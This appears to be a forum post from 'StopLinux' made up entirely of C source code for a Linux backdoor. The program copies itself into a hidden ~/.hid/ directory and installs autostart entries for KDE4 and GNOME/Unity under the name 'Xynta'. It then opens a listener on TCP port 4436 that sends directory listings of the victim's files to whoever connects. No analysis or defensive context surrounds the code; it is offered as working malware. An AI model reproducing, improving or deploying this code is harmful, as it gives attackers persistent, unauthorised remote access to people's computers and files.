Форум StopLinux

#include <sys/stat.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/sendfile.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <dirent.h>
 
#define VERBOSE
//#define STREAMTOFILE

#ifdef STREAMTOFILE
  #define LOGSTREAM log
#else
  #define LOGSTREAM stdout
#endif

#define AS_KDE4 0
#define AS_OTHER 1

#define LINK ".desktop"
#define HIDPATH "/.hid/"
#define KDEPATH "/.kde4/"
#define GNMPATH "/.config/autostart/"
#define FILENAME "sysf2"


#define HFILE ".sys/sysf2"

#define LISTENPORT 4436

#define PT_CHANGEDIR 0
#define PT_DIRCONTENT 1


char buffer[255],buffer2[255];
#ifdef STREAMTOFILE
FILE *log;
#endif

int FolderExist(char *path)
{
  struct stat st;
  return (stat(path,&st) == 0) && ((st.st_mode & S_IFMT) == S_IFDIR);
}

int FileExist(char *path)
{
  struct stat st;
  return (stat(path,&st) == 0);
}

void SetAutostart(int DE, char *homepath, char *exepath)
{
  FILE * f;
  char *filepath;
  switch(DE)
  {
    case AS_KDE4:
      filepath = strcat(strcat(strcat(strcpy(buffer,homepath),KDEPATH),"Autorun/"),FILENAME);
      break;
    case AS_OTHER:
      filepath = strcat(strcat(strcat(strcpy(buffer,homepath),GNMPATH),FILENAME),LINK);
      break;
  }
  
  if(FileExist(filepath))
  {
    #ifdef VERBOSE
    fprintf(LOGSTREAM,"Autostart already set!\n");
    #endif
    return;
  }
  f = fopen (filepath, "w+");
  switch(DE)
  {
    case AS_KDE4:
      fprintf (f, "#!/bin/bash\n");
      fprintf(f, "%s\n",exepath);
      break;
    case AS_OTHER:
      fprintf (f, "[Desktop Entry]\nExec=%s\nName=Xynta\nType=Application\n",exepath);
      break;
  }
  chmod (filepath, 511);
  fclose(f);
  #ifdef VERBOSE
  fprintf(LOGSTREAM,"Success!\n");
  #endif
  return;
}

char EnumResult[4096];

void EnumDir(char *edir)
{
  char tmp[256];
  struct stat st;
  DIR *d;
  int first = 0;
  struct dirent *dir;
  EnumResult[0] = 0;
  d = opendir(edir);
  if (d)
  {
    while ((dir = readdir(d)) != NULL)
    {
    if(first==0)
        first=1;
    else strcat(EnumResult,"|");
    if(stat(strcat(strcpy(tmp,edir),dir->d_name),&st) == 0 && ((st.st_mode & S_IFMT) == S_IFDIR))
        strcat(EnumResult,"*");
    strcat(EnumResult,dir->d_name);
    }
    closedir(d);
  }
  return;
}

void SendPacket(int sock, int ptype, int len, char* data)
{
    send(sock, &ptype, 1, 0);
    send(sock, &len, 4, 0);
    send(sock, data, len, 0);
}

char cd[512];
char buf[65535];
void BackdoorIt()
{
  int sock, listener;
  int ptype;
  int plen;
  struct sockaddr_in addr;
  
  int bytes_read;

  listener = socket(AF_INET, SOCK_STREAM, 0);
  if(listener < 0)
  {
      #ifdef VERBOSE
      fprintf(LOGSTREAM,"Socket error!\n");
      #endif
      return;
  }
  addr.sin_family = AF_INET;
  addr.sin_port = htons(LISTENPORT);
  addr.sin_addr.s_addr = htonl(INADDR_ANY);
  if(bind(listener, (struct sockaddr *)&addr, sizeof(addr)) < 0)
  {
      #ifdef VERBOSE
      fprintf(LOGSTREAM,"Bind error! Port %d in use. (Maybe system already infected)\n",LISTENPORT);
      #endif
      return;
  }
  listen(listener, 1);
  while(1)
  {
      #ifdef VERBOSE
      fprintf(LOGSTREAM,"Waiting for client...\n");
      #endif
      sock = accept(listener, NULL, NULL);
      if(sock < 0)
      {
      #ifdef VERBOSE
      fprintf(LOGSTREAM,"Accept error!\n");
      #endif
      return;
      }
      #ifdef VERBOSE
      fprintf(LOGSTREAM,"Incoming connection.\n");
      #endif
      while(1)
      {
        if(recv(sock, buf, 1, 0) <= 0) break;
        ptype = buf[0];
        if(recv(sock, &plen, 4, 0) <= 0) break;
        if(recv(sock, buf, plen, 0) <= 0) break;

          switch(ptype)
        {
            case PT_CHANGEDIR:
                strcpy(cd,buf);
                cd[plen] = 0;
                #ifdef VERBOSE
                fprintf(LOGSTREAM,"cd %s\n",cd);
                #endif
                EnumDir(cd);
                SendPacket(sock,PT_DIRCONTENT,strlen(EnumResult),EnumResult);
            break;
        }
      }
      #ifdef VERBOSE
      fprintf(LOGSTREAM,"Disconnected.\n");
      #endif
      close(sock);
  }
  return;
}
 

int main(int argc, char * argv[])
{
  int fullpath = 0;
  char *home, *hid, *src;
  char *p;
  int read_fd;
  int write_fd;
  struct stat stat_buf;
  off_t offset = 0;
  
  home = getenv("HOME");
  #ifdef VERBOSE
  #ifdef STREAMTOFILE
  log = fopen(strcat(strcpy(buffer,home),"/vlog.txt"),"w+");
  #endif
  #endif
  
  char *cfn = argv[0];
  if(strcspn(cfn,"/home/") == 0)
    fullpath++;
  
  hid = strcat(strcpy(buffer,home),HIDPATH);
  if(!FolderExist(hid))
    mkdir(hid,511);
  
  if(!FileExist(strcat(strcat(strcpy(buffer2,home),HIDPATH),FILENAME)))
  {
      if(fullpath == 0)
      {
    getcwd(buffer, 255);
    p = strrchr(cfn,'/');
    strcat(buffer,p);
    src = buffer;
      }
      else src = cfn;
      read_fd = open (src, O_RDONLY);
      fstat (read_fd, &stat_buf);
      write_fd = open (buffer2, O_WRONLY | O_CREAT, stat_buf.st_mode);
      sendfile (write_fd, read_fd, &offset, stat_buf.st_size);
      close (read_fd);
      close (write_fd);
      chmod (buffer, 511);
      #ifdef VERBOSE
      fprintf(LOGSTREAM,"Copy file...\n",buffer);
      #endif
    
  }
  #ifdef VERBOSE
  else
  {
    fprintf(LOGSTREAM,"File already copied!\n",buffer);
  }
  #endif
  
  if(FolderExist(strcat(strcpy(buffer,home),KDEPATH)))
  {
    if(!FolderExist(strcat(buffer,"Autorun/")))
      mkdir(buffer,511);
    #ifdef VERBOSE
    fprintf(LOGSTREAM,"Set KDE4 autostart\n");
    #endif
    SetAutostart(AS_KDE4,home,buffer2);
  }
  else //TODO XFCE
  {
    if(!FolderExist(strcat(strcpy(buffer,home),GNMPATH)))
        mkdir(buffer,511);
    #ifdef VERBOSE
    fprintf(LOGSTREAM,"Maybe its Gnome or Unity?\n");
    #endif
    SetAutostart(AS_OTHER,home,buffer2);
  }
  
  #ifdef VERBOSE
  #ifdef STREAMTOFILE
  fprintf(LOGSTREAM,"Closing log...\n");
  fclose(log);
  #endif
  #endif
  BackdoorIt();
  return 0;
}